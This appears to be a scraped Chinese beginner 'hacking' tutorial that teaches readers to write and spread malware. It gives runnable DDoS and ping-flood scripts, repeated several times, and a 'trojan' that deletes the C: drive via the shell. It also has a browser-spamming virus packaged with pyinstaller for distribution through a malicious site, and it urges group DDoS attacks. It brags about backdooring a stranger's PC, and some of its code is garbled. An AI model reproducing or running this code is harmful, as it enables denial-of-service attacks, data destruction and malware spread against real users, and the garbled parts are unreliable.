携程旅行网网站策划书,北京做网站的公司商集客电话,成都网站建设创意,网站移动端自适应基础篇
什么是病毒
病毒#xff0c;指的是一些通过非法手段获取系统的一些权限#xff0c;然后进行破坏或者盗取。 病毒分为两类#xff1a; 1、破坏型 这类病毒往往会将系统弄的乱七八糟#xff0c;比如把你的U盘删光#xff0c;把你的系统背景调成黑客图片#xff0c…基础篇
什么是病毒
病毒指的是一些通过非法手段获取系统的一些权限然后进行破坏或者盗取。 病毒分为两类 1、破坏型 这类病毒往往会将系统弄的乱七八糟比如把你的U盘删光把你的系统背景调成黑客图片把你的桌面全部变成某个图标… 这些病毒一般比较明显所以杀毒软件一般比较容易查杀但是下面这种就不一样了。 2、非破坏型 非破坏型病毒不会把你的系统怎么样也不会删除你的文件和修改你的个性化操作他们只有一个目的盗取文件或让它们的主人进入你的计算机。例如最典型的灰鸽子就是让黑客进行连接然后控制你的电脑。冰河也是一样。还有一种ftp木马它们的目的就是打开21端口等待黑客连接。
安装编程环境Python3.7 IDE
在编写程序进行黑客攻击和病毒编写之前我们得先安装我们的编程环境Python3.7 IDE
从网络上下载Python3.7 IDE 接着双击它按照安装向导完成安装。
启动
在Windows搜索栏中搜索Python 会显示出 打开它 打造攻击目标VMware虚拟机
我们现在还没有一个攻击目标因为我们现在不能攻击别人的电脑否则你就是骇客了。 那么我们只有安装VMware虚拟机了。 安装VMware Workstation player 注此处不细说因为版本不一安装不一样 打开 然后请下载Windows 7 原生纯净镜像可以百度“我告诉你”点击第二个下载Windows7。
新建虚拟机
点击“创建新虚拟机” 点击“下一步” 这里需要输入Windows7的密钥按图中输入。 下一步 下一步 我们已经完成了VMware Workstation 虚拟机的配置现在我们启动它 在这段时间内计算机虚拟机会重启数次最终完成安装。 安装成功后即可开始使用Windows 7 并且可以向它发起猛烈的攻击了。 Windows7是微软Microsoft的杰出产品之一但可惜的是它还是被更优秀的Windows10取代。在2015年微软Microsoft正式宣布不再支持Windows7也就意味着不会再有新的更新给使用Windows7的用户了。 启动成功我们可以在这台Windows上工作并且也可以攻击它了
编写经典程序——HelloWorld
打开Python点击FileNew。 在弹出的窗口中输入
print(Hello, World!)
点击Run最后一个选项查看结果。 显示 Hello, World! 这表示IDE程序可用也表示你已经成为一名程序员了
测试网络的PING
PING程序是Microsoft微软公司为Windows用户准备的网络检测程序使用他可以帮你查看网络状态和网络是否可访问。 键击“windows键R”打开运行窗口输入cmd回车即可打开终端窗口。在这里你可以做很多一般人做不到的事情。 在终端里输入ping/?,查看详细用法。 常用指令 PING -t ip 注这样可以PING指定的IP到永远除非你停止它。很多初级黑客喜欢用这个参数来进行网络堵塞的攻击。 PING -l 大小 ip 注这样可以设置发送包大小 PING -n 次数 ip 注这样可以设置次数。
试试对baidu.com进行PING指令
打开终端输入PING -n 10 -l 10 baidu.com (此命令必须在Windows 8以上才可以运行Windows 7部分版本不支持PING网页) 我们检测到我们可以连接到baidu.com说明我们的网络是可用的。
TCP\IP协议
TCP/IP传输协议即传输控制/网络协议也叫作网络通讯协议。它是在网络的使用中的最基本的通信协议。TCP/IP传输协议对互联网中各部分进行通信的标准和方法进行了规定。并且TCP/IP传输协议是保证网络数据信息及时、完整传输的两个重要的协议。TCP/IP传输协议是严格来说是一个四层的体系结构应用层、传输层、网络层和数据链路层都包含其中。
TCP/IP协议是Internet最基本的协议,其中应用层的主要协议有Telnet、FTP、SMTP等是用来接收来自传输层的数据或者按不同应用要求与方式将数据传输至传输层传输层的主要协议有UDP、TCP是使用者使用平台和计算机信息网内部数据结合的通道可以实现数据传输与数据共享网络层的主要协议有ICMP、IP、IGMP主要负责网络中数据包的传送等而网络访问层也叫网路接口层或数据链路层主要协议有ARP、RARP主要功能是提供链路管理错误检测、对不同通信媒介有关信息细节问题进行有效处理等。
TCP/IP协议能够迅速发展起来并成为事实上的标准是它恰好适应了世界范围内数据通信的需要。它有以下特点 1协议标准是完全开放的可以供用户免费使用并且独立于特定的计算机硬件与操作系统。 2独立于网络硬件系统可以运行在广域网更适合于互联网。 3网络地址统一分配网络中每一设备和终端都具有一个唯一地址。 4高层协议标准化可以提供多种多样可靠网络服务。
TCP/IP协议的层次
网络层
IP协议 网络层引入了IP协议制定了一套新地址使得我们能够区分两台主机是否同属一个网络这套地址就是网络地址也就是所谓的IP地址。IP协议将这个32位的地址分为两部分前面部分代表网络地址后面部分表示该主机在局域网中的地址。如果两个IP地址在同一个子网内则网络地址一定相同。为了判断IP地址中的网络地址IP协议还引入了子网掩码IP地址和子网掩码通过按位与运算后就可以得到网络地址。ARP协议 即地址解析协议是根据IP地址获取MAC地址的一个网络层协议。其工作原理如下ARP首先会发起一个请求数据包数据包的首部包含了目标主机的IP地址然后这个数据包会在链路层进行再次包装生成以太网数据包最终由以太网广播给子网内的所有主机每一台主机都会接收到这个数据包并取出标头里的IP地址然后和自己的IP地址进行比较如果相同就返回自己的MAC地址如果不同就丢弃该数据包。ARP接收返回消息以此确定目标机的MAC地址与此同时ARP还会将返回的MAC地址与对应的IP地址存入本机ARP缓存中并保留一定时间下次请求时直接查询ARP缓存以节约资源。路由协议 首先通过IP协议来判断两台主机是否在同一个子网中如果在同一个子网就通过ARP协议查询对应的MAC地址然后以广播的形式向该子网内的主机发送数据包如果不在同一个子网以太网会将该数据包转发给本子网的网关进行路由。网关是互联网上子网与子网之间的桥梁所以网关会进行多次转发最终将该数据包转发到目标IP所在的子网中然后再通过ARP获取目标机MAC最终也是通过广播形式将数据包发送给接收方。而完成这个路由协议的物理设备就是路由器路由器扮演着交通枢纽的角色它会根据信道情况选择并设定路由以最佳路径来转发数据包。 所以网络层的主要工作是定义网络地址、区分网段、子网内MAC寻址、对于不同子网的数据包进行路由。
传输层
链路层定义了主机的身份即MAC地址而网络层定义了IP地址明确了主机所在的网段有了这两个地址数据包就从可以从一个主机发送到另一台主机。但实际上数据包是从一个主机的某个应用程序发出然后由对方主机的应用程序接收。而每台电脑都有可能同时运行着很多个应用程序所以当数据包被发送到主机上以后是无法确定哪个应用程序要接收这个包。因此传输层引入了UDP协议来解决这个问题为了给每个应用程序标识身份。UDP协议 UDP协议定义了端口同一个主机上的每个应用程序都需要指定唯一的端口号并且规定网络中传输的数据包必须加上端口信息当数据包到达主机以后就可以根据端口号找到对应的应用程序了。UDP协议比较简单实现容易但它没有确认机制数据包一旦发出无法知道对方是否收到因此可靠性较差为了解决这个问题提高网络可靠性TCP协议就诞生了。TCP协议 TCP即传输控制协议是一种面向连接的、可靠的、基于字节流的通信协议。简单来说TCP就是有确认机制的UDP协议每发出一个数据包都要求确认如果有一个数据包丢失就收不到确认发送方就必须重发这个数据包。为了保证传输的可靠性TCP协议在UDP基础之上建立了三次对话的确认机制即在正式收发数据前必须和对方建立可靠的连接。TCP数据包和UDP一样都是由首部和数据两部分组成唯一不同的是TCP数据包没有长度限制理论上可以无限长但是为了保证网络的效率通常TCP数据包的长度不会超过IP数据包的长度以确保单个TCP数据包不必再分割。 传输层的主要工作是定义端口标识应用程序身份实现端口到端口的通信TCP协议可以保证数据传输的可靠性。
应用层
理论上讲有了以上三层协议的支持数据已经可以从一个主机上的应用程序传输到另一台主机的应用程序了但此时传过来的数据是字节流不能很好的被程序识别操作性差因此应用层定义了各种各样的协议来规范数据格式常见的有http,ftp,smtp等在请求Header中分别定义了请求数据格式Accept和响应数据格式Content-Type有了这个规范以后当对方接收到请求以后就知道该用什么格式来解析然后对请求进行处理最后按照请求方要求的格式将数据返回请求端接收到响应后就按照规定的格式进行解读。 所以应用层的主要工作就是定义数据格式并按照对应的格式解读数据。
黑客入门的操作命令
1、“肉鸡”
“肉鸡”有点类似牵线木偶是指可以被黑客神不知鬼不觉地远程控制的电脑或者大型服务器。不论什么系统都有可能沦为“肉鸡”。
2、“木马”
“木马”是一种在运行后可以得到系统的控制权的程序。拿网页木马举例主要是利用浏览器的漏洞把网页木马搞到浏览器访问者本地上然后自动执行的。
3、“后门”
黑客在通过某种手段成功控制目标主机之后搞到系统的访问权限。访问系统后通过系统漏洞得到root权限再安装rootkit就可以较长时间地控制该目标主机。
4、“弱口令”
弱口令的安全强度不高易于被猜到破解的密码比如123456、654321。
5、“溢出”
“溢出”一般指的是缓冲区溢出。说白了就是程序没有进行有效地监测导致输入的数据没执行。这样的程序和没有执行的数据越来越多最后程序会解体也有可能错误地执行黑客的命令。
6、“花指令”
“花指令”是用汇编语言写成的导致杀毒软件无法对病毒进行合理地判断。因为杀毒软件有顺序规则就是从头到尾来查杀病毒。而一旦病毒的头尾顺序不对杀毒软件就歇菜了。
7、“免杀”
“免杀”顾名思义就是免去杀毒软件的查杀。使用一些技术把程序进行修改这些技术主要有加壳、加密、加花指令等。
8、“加壳”
“加壳”的目的主要有压缩文件、将程序编码加密、免杀等主要通过一些不一般的算法改变可执行程序或者DLL动态链接库文件的编码。
9、“Shell”
“Shell”是一种程序或者命令的执行环境。比如一般用远程溢出程序后可以成功控制远程电脑在该电脑执行系统命令的环境就是“Shell”。
Python编写基本程序
Python是一个强大的语言它十分简洁但是十分有用。 在此书编写时Python3.7.3已经算较新的版本了所以如果想和本书同步请安装Python3.7.3 编程就是指用一段计算机能听懂的话让计算机去帮你做事情这就叫编程。 我们已经学会了“Hello,World!”的编写现在我们来编写一个简单的登录系统我们在后期会将它改装成一个盗取密码的病毒。登录.py
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
try :windowtk.Tk()window.title(欢迎使用Windows高级功能)window.geometry(450x300)#画布放置图片canvastk.Canvas(window,height300,width500)imagefiletk.PhotoImage(fileHello.png)imagecanvas.create_image(0,0,anchornw,imageimagefile)canvas.pack(sidetop)#标签 用户名密码tk.Label(window,text用户名:).place(x100,y150)tk.Label(window,text密码:).place(x100,y190)#用户名输入框var_usr_nametk.StringVar()entry_usr_nametk.Entry(window,textvariablevar_usr_name)entry_usr_name.place(x160,y150)#密码输入框var_usr_pwdtk.StringVar()entry_usr_pwdtk.Entry(window,textvariablevar_usr_pwd,show*)entry_usr_pwd.place(x160,y190)#登录函数def usr_log_in():#输入框获取用户名密码usr_namevar_usr_name.get()usr_pwdvar_usr_pwd.get()#从本地字典获取用户信息如果没有则新建本地数据库try:with open(usr_info.pickle,rb) as usr_file:usrs_infopickle.load(usr_file)except FileNotFoundError:with open(usr_info.pickle,wb) as usr_file:usrs_info{admin:admin}pickle.dump(usrs_info,usr_file)#判断用户名和密码是否匹配if usr_name in usrs_info:if usr_pwd usrs_info[usr_name]:tk.messagebox.showinfo(titlewelcome,message欢迎您usr_name)else:tk.messagebox.showerror(message密码错误)#用户名密码不能为空elif usr_name or usr_pwd :tk.messagebox.showerror(message用户名或密码为空)#不在数据库中弹出是否注册的框else:is_signuptk.messagebox.askyesno(欢迎,您还没有注册是否现在注册)if is_signup:usr_sign_up()#注册函数def usr_sign_up():#确认注册时的相应函数def signtowcg():#获取输入框内的内容nnnew_name.get()npnew_pwd.get()npfnew_pwd_confirm.get()#本地加载已有用户信息,如果没有则已有用户信息为空try:with open(usr_info.pickle,rb) as usr_file:exist_usr_infopickle.load(usr_file)except FileNotFoundError:exist_usr_info{} #检查用户名存在、密码为空、密码前后不一致if nn in exist_usr_info:tk.messagebox.showerror(错误,用户名已存在)elif np or nn:tk.messagebox.showerror(错误,用户名或密码为空)elif np !npf:tk.messagebox.showerror(错误,密码前后不一致)#注册信息没有问题则将用户名密码写入数据库else:exist_usr_info[nn]npwith open(usr_info.pickle,wb) as usr_file:pickle.dump(exist_usr_info,usr_file)tk.messagebox.showinfo(欢迎,注册成功)#注册成功关闭注册框window_sign_up.destroy()#新建注册界面window_sign_uptk.Toplevel(window)window_sign_up.geometry(350x200)window_sign_up.title(注册)#用户名变量及标签、输入框new_nametk.StringVar()tk.Label(window_sign_up,text用户名).place(x10,y10)tk.Entry(window_sign_up,textvariablenew_name).place(x150,y10)#密码变量及标签、输入框new_pwdtk.StringVar()tk.Label(window_sign_up,text请输入密码).place(x10,y50)tk.Entry(window_sign_up,textvariablenew_pwd,show*).place(x150,y50) #重复密码变量及标签、输入框new_pwd_confirmtk.StringVar()tk.Label(window_sign_up,text请再次输入密码).place(x10,y90)tk.Entry(window_sign_up,textvariablenew_pwd_confirm,show*).place(x150,y90) #确认注册按钮及位置bt_confirm_sign_uptk.Button(window_sign_up,text确认注册,commandsigntowcg)bt_confirm_sign_up.place(x150,y130)#退出的函数def usr_sign_quit():try :window.destroy()except :pass#登录 注册按钮bt_logintk.Button(window,text登录,commandusr_log_in)bt_login.place(x140,y230)bt_loguptk.Button(window,text注册,commandusr_sign_up)bt_logup.place(x210,y230)bt_logquittk.Button(window,text退出,commandusr_sign_quit)bt_logquit.place(x280,y230)#主循环window.mainloop()# -*-coding:utf-8-*import socketimport threadingimport Queueimport time
except :pass
这段代码会让用户输入用户名和密码并且进行登录。
木马程序的编写
在本章我们将正式开始木马的编写。 用Python写木马其实很简单。 下面是我例举的一个破坏型木马的代码Delete.py
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import os
import sys
import subprocess
ret subprocess.call(del C:\ , shellTrue)
windowtk.Tk()
window.withdraw()
window.mainloop() 他其实很简单但是却又让一些很基础的用户受骗。 很多人在电脑弹出窗口提示时都喜欢点击“是”“确认”“好”但是可能就因为这样你的C:\被删除了。这意味着你失去了系统盘 破坏型木马很好编写我们在前期都在编写破坏型木马和病毒所以都比较简单。
Python之外课外扩展
GoC绘图语言 这种语言主要功能是绘图是编程新人的不二选择——因为它的代码太简单了 打开GoC 输入以下代码
int main()
{p.fd(100);p.rt(90);p.fd(100);p.rt(90);p.fd(100);p.rt(90);p.fd(100);p.rt(90);return 0;
} 运行 C/C 这些语言想必大家都比较清楚在这里就不多介绍。 如果对这些语言有兴趣可以去学习。 在Dev-C初学者编程环境中创建新文件输入以下代码
#includeiostream
using namespace std;
int main()
{coutHello,World!endl;return 0;
}
运行后显示
HelloWorld
初级篇
在这一篇你将成为一名黑客……
Python编写DDoS攻击程序
分布式拒绝服务攻击(英文意思是Distributed Denial of Service简称DDoS)是指处于不同位置的多个攻击者同时向一个或数个目标发动攻击或者一个攻击者控制了位于不同位置的多台机器并利用这些机器对受害者同时实施攻击。由于攻击的发出点是分布在不同地方的这类攻击称为分布式拒绝服务攻击其中的攻击者可以有多个。 那么我们用代码来执行DDoS攻击你可以邀请你的朋友一起来学习和使用。 下面你可以把代码复制到你的Python上然后运行试试效果。DDoS.py
import socket
import time
import threading
#Pressure Test,ddos tool#---------------------------
MAX_CONN20000
PORT80
HOST#在双引号里输入对方IP或域名要保证他联网了或开机了.
PAGE/index.php
#---------------------------buf(POST %s HTTP/1.1\r\n
Host: %s\r\n
Content-Length: 10000000\r\n
Cookie: dklkt_dos_test\r\n
\r\n % (PAGE,HOST))socks[]def conn_thread():global socksfor i in range(0,MAX_CONN):ssocket.socket(socket.AF_INET,socket.SOCK_STREAM)try:s.connect((HOST,PORT))s.send(buf.encode())print (Send buf OK!,conn%d\n%i)socks.append(s)except Exception as ex:print (Could not connect to server or send error:%s%ex)time.sleep(0.1)
#end defdef send_thread():global sockswhile True:for s in socks:try:s.send(f.encode())#print send OK!except Exception as ex:print (Send Exception:%s\n%ex)socks.remove(s)s.close()time.sleep(0.1)
#end defconn_ththreading.Thread(targetconn_thread,args())
send_ththreading.Thread(targetsend_thread,args())conn_th.start()
send_th.start()
在指定位置输入你要攻击的IP或网址运行就可以进行攻击了。
运用PING程序进行网络堵塞攻击
前面说过PING程序可能会使网络堵塞所以我们根据这个原理编写了一个攻击程序。网络堵塞.py
import os
import socket
import time
ip input(请输入IP)
os.system(ping -t -l 50 ip)
运行程序输入IP就可以等待指定主机网络堵塞了。
连接对方的计算机
我们可以使用“telnet”命令来进行远程终端的连接。 打开终端窗口输入telnet/?查看用法 输入 telnet HOST POST,可以进行连接这里以baidu.com为例 这里已经成功连接正在加载。 运用它可以连接远程主机实现远程操控。
运用ftp来进行文件传输
ftp是一种协议也是一种指令用它可以进行文件传输。 打开终端输入 可以根据这些指令进行文件的传输。 有一些杀毒软件例如金山毒霸、趋势科技会进行阻止因为它们都会自我防护防止未知木马下载到计算机上。
copy
运行copy程序可以让它帮你复制文件你可以在病毒中添加这个程序让无知的计算机帮你复制病毒程序。 打开终端窗口输入copy/? 根据help我们来编写一个可以复制某个程序的病毒
import sys
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import os
import sys
import subprocessos.system(copy 路径 路径 )
这是一个简单的程序但在后期却非常有用
运用socket模块
在上个小节有个DDoS攻击程序这个程序里调用了一个模块socket 这个模块是个很棒的插件它可以帮你进行连接就像一个可以帮你插电线的电工。
调用socket模块
#调用socket
import socket
print(Hello,socket!)
DDoS原理
就像接东西张三接李四扔。李四不停扔苹果给张三张三不断接苹果接着接着手上满了那么只有把苹果掉在地上了。 就是这个原理我不断进行连接对方不断处理连接慢慢的慢慢的对方的系统主机繁忙到堵塞一大堆的请求没有处理堆在网络连接处系统还在不断处理等处理到一定时候系统的运算已经达到了超负荷就会崩溃。这就是DDoS的原理。
Hacker(黑客)软件篇
黑客软件是一些黑客高手做的软件这些软件可以简化攻击成本和难度是很多黑客的不二之选。 但是今天我们不来下别人的黑客软件咱们来做自己的黑客软件
黑客软件制作
1、网络堵塞工具 V1.0 首先我们要设计我们的LOGO ┏━━━━━━━━━━━━━━━━━━━━━━━━━━┒ ┃网络堵塞工具 V1.0||||||||||||||||||||||||||| ┃ ┃|||||网络堵塞工具选这款|||||||||||| ┃ ┖━━━━━━━━━━━━━━━━━━━━━━━━━━┛ []|[]|[][]|[][][][]|[][][]|[][]tiantian520ttjs所有—— 接着开始想它的呈现方式 1、终端形式 2、窗口形式 这里我们来做终端形式。 输入代码
import tkinter as tk
import tkinter.messagebox
import pickle
import pickle
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
def input_cd():cd input(请输入指令)if cd 1:ping()if cd 2:print(此功能暂不可用)input_cd()def ping():host input(请输入对方IP:)qiangdu input(请输入强度(1-65500):)os.system(ping -t -l qiangdu host)
logo
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┒
┃网络堵塞工具 V1.0||||||||||┃
┃|||||网络堵塞工具选这款|┃
┖━━━━━━━━━━━━━━━━━━━━━━━━━━┛[]|[]|[][]|[][][][]|[][][]|[][]tiantian520ttjs所有——
print(logo)
print([][使用指南][])
print(1、ping \n2、ddos(正在编写))
input_cd()
此程序可完成一个简易的攻击工具你可以对它进行修改让别的用户使用它。 2、DDoS攻击工具 输入代码
import socket
import time
import threading
#Pressure Test,ddos tool
print(欢迎使用DDoS攻击工具!)
#---------------------------
MAX_CONN20000
PORT80
HOSTinput(请输入网址或IP:)
PAGE/index.php
#---------------------------buf(POST %s HTTP/1.1\r\n
Host: %s\r\n
Content-Length: 10000000\r\n
Cookie: dklkt_dos_test\r\n
\r\n % (PAGE,HOST))socks[]def conn_thread():global socksfor i in range(0,MAX_CONN):ssocket.socket(socket.AF_INET,socket.SOCK_STREAM)try:s.connect((HOST,PORT))s.send(buf.encode())print (Send buf OK!,conn%d\n%i)socks.append(s)except Exception as ex:print (Could not connect to server or send error:%s%ex)time.sleep(0.1)
#end defdef send_thread():global sockswhile True:for s in socks:try:s.send(f.encode())#print send OK!except Exception as ex:print (Send Exception:%s\n%ex)socks.remove(s)s.close()time.sleep(0.1)
#end defconn_ththreading.Thread(targetconn_thread,args())
send_ththreading.Thread(targetsend_thread,args())conn_th.start()
send_th.start()
它将成为一件出色的软件你也可以对它进行修改我贡献在书上的代码没有版权。
学习并使用别人的黑客软件
当然黑客高手们做的软件自然比我们好的多。那么我们该如何去下载那些软件呢 首先在下载黑客软件时要注意防病毒。因为很可能这个软件是被捆绑了病毒的恶意程序 下面为大家展示几款软件的安装
1、SQL tools
访问https://sourceforge.net/projects/sqlt/postdownload进行下载 同意协议 选择路径 下一步 开始安装 点击Close结束安装 注在安装之前请务必安装Java这是程序的必备用品。最低版本必须要Java 8 在这里你可以进行高级的攻击。但是在这里就暂时不介绍了。
2、ComputerKiller
访问hackersdld.icoc.vc 这里有很多黑客软件在后期会很有用。 点击ComputerKiller 1.9.3进行下载。 下载完成后打开压缩包双击exe程序即可。
运用代码和一些工具来查看对方是否可被攻击
例如我要入侵一台计算机已知参数 MAC00:50:56:38:6F:C3 IP192.168.132.132 用户名Administrator
先打开终端窗口输入PING 192.168.132.132,查看对方状态。 这样说明对方是可以上网、并且是可用的。 再发现TTL值为128如不更改128TTL应为Windows 7 系统。我们就又获得了一项线索 OSWindows 7 接着我们用DDoS攻击器攻击对方 对方没有反应说明对方的网络不是可以正常使用的但是它有一个IP地址与MAC地址 那我们只有通过别的办法对它进行攻击和入侵了。 打开终端输入telnet 192.168.132.132 23 发现也是无法连接 我们再进行测试如果还是无法进行连接说明对方处于NAT网络模式注NAT网络模式就是指只有IP但不能上网和被连接 打开远程桌面连接输入IP连接后发现 说明对方处于确确实实的NAT状态这台计算机就不可以被攻击因为它没有和intelnet进行连接相当于没有一个可以听声音的耳朵
黑客软件使用的要点
黑客软件虽然好用但是不好下载。 在网上有很多软件都带有病毒我下载的一些黑客软件就有病毒名称BKDR_AGENT.AHZU 后门TROJ_GEN.R002C0PKF19木马TROJ_GEN.R03FC0PGN19木马 所以在网上一定要小心这些捆绑了病毒的软件可能你就会有一天被黑客劫持 推荐大家到这几个站点去下载黑客软件 hackersdld.icoc.vc(黑客软件下载) www.netxeyes.com(小榕主页) 以上就是本章的内容在下一章我们将进行更深入的攻击学习代码攻击将成为重点。
本章课外
最近小编发现个很搞笑的计算机。这个计算机已被我装上后门冰河也装上了。我看它桌面的时候它的桌面是这样的 满桌面都是骂人的话… 我给它留下一个txt 接着呢我又给它重装了个系统爽啊 本段告诉我们黑客技术不一定是恶意技术
中级篇
print(Hello,Users!)
name input(Whats your name?)
print(Oh,Nice to meet you, name !)
这样的简单到不能再简单的程序大家想必已经可以看懂了。那么这一篇我们就来深度学习代码编程通过编程的学习来进行后期木马和病毒的编写。 不知道大家有没有听说过有一种程序通过不断打开网页进行加载来导致计算机卡顿。这也是一种病毒。 我们本章也来教大家编写这一类的病毒并且教大家如何进行传播。 本章我们还会了解到凡科建站这是一个很厉害的建站程序。可以让你不用码代码就进行网站搭建。我们通过这个功能来建造我们自己的主页然后像黑客小榕那样发布我们的黑客软件。当然我们也可以做一些恶意网站这样就可以得到很好的效果。
凡科建站
百度搜索凡科建站注册一个账号接着我们来建造我们的主页。 这里我已经开过站点了如果大家不会创建可以百度搜索。 进入后可以按照新手指南来创作自己的主页。 我的主页如下 用网页来传播病毒
我们可以在建造的网站上让用户下载病毒这样可以得到很有效的效果。我编写的病毒如下
import webbrowser
import tkinter.messagebox
while 1:webbrowser.open(baidu.com)tk.messagebox.showerror(Windows错误,Windows被不明程序劫持正在尝试自救......)代码效果 此处还没截图到messagebox就死机了因为刷的太厉害了。 我们可以把这个病毒打包后传播到网上虽然只是一个很简单的小程序。 我用百度网盘创建了一个分享链接用凡科建站做了一个网页可以下载这个病毒。 但是我们还没有给它编译为exe程序所以我们要下载pyinstaller进行编译。 自己作一幅画接着将它转换为ico格式当做应用图标。 在命令行终端输入
pyintaller -F -w -i 图片路径 文件路径
打包完后会在dist目录下出现exe程序并且build里会有配置文件。 创建一个新的文件夹将配置文件和exe程序放入然后打包为zip/rar/7z压缩文件上传到百度网盘链接为
定位吧 1.0.zip_免费高速下载|百度网盘-分享无限制接着进入凡科建站做一个恶意网站 这个恶意网站可以让别人下载这个恶意病毒是传播的途径。
对网站进行攻击
网站攻击一般都是SQL数据库注入、DNS欺骗、DDoS攻击等。SQL注入和DNS欺骗对我们来说暂时太难我们先从DDoS启。 在前面我们已经说明了和介绍了DDoS攻击的原理和代码在本节我们将对这个脚本进行改造让它变成一个强大的黑客软件——DDoS:ME
回顾
先回顾一下之前的脚本代码我们是用了socket模块进行不断发送连接请求来实现的。其中较关键的关键字有
while 1:
import socket
Host
......
这些都是脚本的重点如果丢掉While那你的脚本只会执行一次。如果丢掉import那么将会出错。如果丢掉Host那么你的脚本将没有目标… 回顾一下之前的代码试着尝试解决以下问题和建议 1、如何让攻击强度变大 2、可以将socket模块换成其他吗
组织一场庞大的DDoS攻击
真正的高级攻击都不是一个人完成的。都是在肉鸡傀儡机和队友的帮助下完成的。你不妨组织一个黑客联盟一起来进行黑客技术的研究。 本节我们就来教大家组织一场庞大的DDoS攻击并且教大家如何进行攻击。
组织
组织一个包含了深意的名词。有了组织我们就可以更加强大。 本小节我们就来进行组织。1、创建组织 你可以邀请你的朋友加入我们的行列并要它阅读这本书里的引子和介绍。接着你可以在QQ或WeChat里组织一个团体可以取一个有意义的名字。例如 Hello,Hackers! Hacker men 计算机杀手们 黑客军团 黑客帝国 这些都是一些有趣的名字你可以采取点意见。 接着你可以将自己的成果与大家共享再收获别人的成果。用一段有趣的话来说化学罐车碰油罐车火花才激烈2、加入组织 你可以加入任何的组织只要它愿意。加入后你可以像上一小节那样一起来交流。 如遇到让你很感兴趣的话题你可以向发布人询问代码Python社区都十分友好Hackers社区就更别说了——一家人难道还不友好吗
攻击
组织之后例如我的团队现在有8个人分别是 C Java Python(Me) 1 2 3 4 5 我们就可以进行合作例如 C进行侦查看看网站有什么状况 Java进行本地网络检查看看有没有被人发现并试图连接 Python(Me)、1、2、3、4、5进行攻击努力取得胜利。 这样队伍就会变得十分团结。 那么我就以我自己的网站为例进行攻击。 我的团队共有3个人分别为1、2、Me 1进行攻击 2进行探查 Me进行攻击 2探查到了 网站的分享功能因流量不足被关闭了。 1和Me在攻击
import socket
import time
......
这样的话这个网站很快就因流量崩溃而无法访问 DDoS攻击软件的制作
把脚本变成攻击软件这也许会比较好。别的人可以更好的进行使用。 我们先打开DDoS攻击脚本代码如下
import socket
import time
import threading
#Pressure Test,ddos tool#---------------------------
MAX_CONN20000
PORT80
HOST#在双引号里输入对方IP或域名要保证他联网了或开机了.
PAGE/index.php
#---------------------------buf(POST %s HTTP/1.1\r\n
Host: %s\r\n
Content-Length: 10000000\r\n
Cookie: dklkt_dos_test\r\n
\r\n % (PAGE,HOST))socks[]def conn_thread():global socksfor i in range(0,MAX_CONN):ssocket.socket(socket.AF_INET,socket.SOCK_STREAM)try:s.connect((HOST,PORT))s.send(buf.encode())print (Send buf OK!,conn%d\n%i)socks.append(s)except Exception as ex:print (Could not connect to server or send error:%s%ex)time.sleep(0.1)
#end defdef send_thread():global sockswhile True:for s in socks:try:s.send(f.encode())#print send OK!except Exception as ex:print (Send Exception:%s\n%ex)socks.remove(s)s.close()time.sleep(0.1)
#end defconn_ththreading.Thread(targetconn_thread,args())
send_ththreading.Thread(targetsend_thread,args())conn_th.start()
send_th.start()
我们第一步就是给它加上标题和IP输入区那么将代码修改成这样
import socket
import time
import threading
#Pressure Test,ddos tool
print(欢迎使用DDoS:ME!)
HOST input(DDoS:ME请求您输入IP:)
#---------------------------
MAX_CONN20000
PORT80
PAGE/index.php
#---------------------------buf(POST %s HTTP/1.1\r\n
Host: %s\r\n
Content-Length: 10000000\r\n
Cookie: dklkt_dos_test\r\n
\r\n % (PAGE,HOST))socks[]def conn_thread():global socksfor i in range(0,MAX_CONN):ssocket.socket(socket.AF_INET,socket.SOCK_STREAM)try:s.connect((HOST,PORT))s.send(buf.encode())print (Send buf OK!,conn%d\n%i)socks.append(s)except Exception as ex:print (Could not connect to server or send error:%s%ex)time.sleep(0.1)
#end defdef send_thread():global sockswhile True:for s in socks:try:s.send(f.encode())#print send OK!except Exception as ex:print (Send Exception:%s\n%ex)socks.remove(s)s.close()time.sleep(0.1)
#end defconn_ththreading.Thread(targetconn_thread,args())
send_ththreading.Thread(targetsend_thread,args())conn_th.start()
send_th.start()
这样就成为一个简易的攻击软件了。 不过我们还得继续改进。 本次改进就当做本小节的挑战了希望经过那么久的学习你可以完成这个挑战。
挑战
1、将本节的DDoS攻击器进行改造成为一个完美的攻击器。 2、让这段代码的威力更厉害点儿
网站攻击要点
在本书中不会教大家如何进行DNS欺骗和别的攻击。因为这些知识很难比DDoS难得多。但是在本书我们会将病毒研发延伸到我的终点——我会贡献我所有可以贡献的知识。 在攻击时一定不要忘记自己的身份 我是一名黑客 既然你是黑客那就不该做坏事。如果不小心对人家造成了损失那就成骇客了。
Python3.7编程学习
在中级篇里我们还要学习如何编程。这样有助于我们伪装我们的程序。例如我通过编程来做一个DDoS攻击器然后让其他人下载。接着再让你编写的病毒运行就可以将别人一网打尽了。
输入和输出
在IDE中输入和输出我们可以利用print()和input()来完成。这两个都是Python自带的函数我们可以随心所欲的用它并且不用定义。
输出
